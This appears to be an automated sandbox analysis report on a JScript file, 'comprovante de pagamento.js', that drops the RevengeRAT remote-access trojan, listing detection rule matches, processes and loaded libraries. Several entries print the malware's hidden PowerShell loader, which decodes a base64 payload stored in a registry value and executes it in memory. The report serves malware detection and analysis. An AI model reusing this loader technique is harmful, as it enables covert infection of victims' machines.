Source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8C4001	1_2_00007FFD9B8C4001
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8C4DB1	1_2_00007FFD9B8C4DB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8B8D18	1_2_00007FFD9B8B8D18
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8C7B58	1_2_00007FFD9B8C7B58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8D5F50	1_2_00007FFD9B8D5F50
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8BF67D	1_2_00007FFD9B8BF67D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8EC518	1_2_00007FFD9B8EC518
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8C752D	1_2_00007FFD9B8C752D

Source: comprovante de pagamento.js

Initial sample: Strings found which are bigger than 50

Source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@4/3@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\9822cb7521c94057
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_26550411

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1rgfjrx.rvg.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$", "0", "false");

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8BD1AA pushad ; ret	1_2_00007FFD9B8BD1B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8B8153 push ebx; ret	1_2_00007FFD9B8B816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8B0952 push E95AD1D0h; ret	1_2_00007FFD9B8B09C9

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
